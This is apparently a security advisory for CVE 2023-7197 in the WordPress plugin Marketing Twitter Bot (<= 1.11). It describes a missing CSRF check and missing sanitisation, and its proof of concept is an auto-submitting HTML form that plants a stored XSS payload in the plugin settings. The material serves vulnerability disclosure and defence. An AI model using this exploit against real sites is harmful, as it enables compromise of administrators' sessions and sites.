Marketing Twitter Bot <= 1.11 – Settings Update to Stored XSS via CSRF | CVE 2023-7197

Description

The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Proof of Concept

Have an admin open an HTML page containing the following:

```
<form action="http://example.com/wordpress/wp-admin/admin.php?page=mtb_menu" method="POST">
    <input type="text" name="twitter_mtb_consumer_key" value='"><img src=x onerror=alert(1)>'>
    <input type="text" name="twitter_mtb_consumer_secret" value="1">
    <input type="text" name="twitter_mtb_access_token" value="1">
    <input type="text" name="twitter_mtb_access_token_secret" value="1">
    <input type="text" name="mtb" value="true">
</form>
<script>
    document.forms[0].submit();    
</script>
```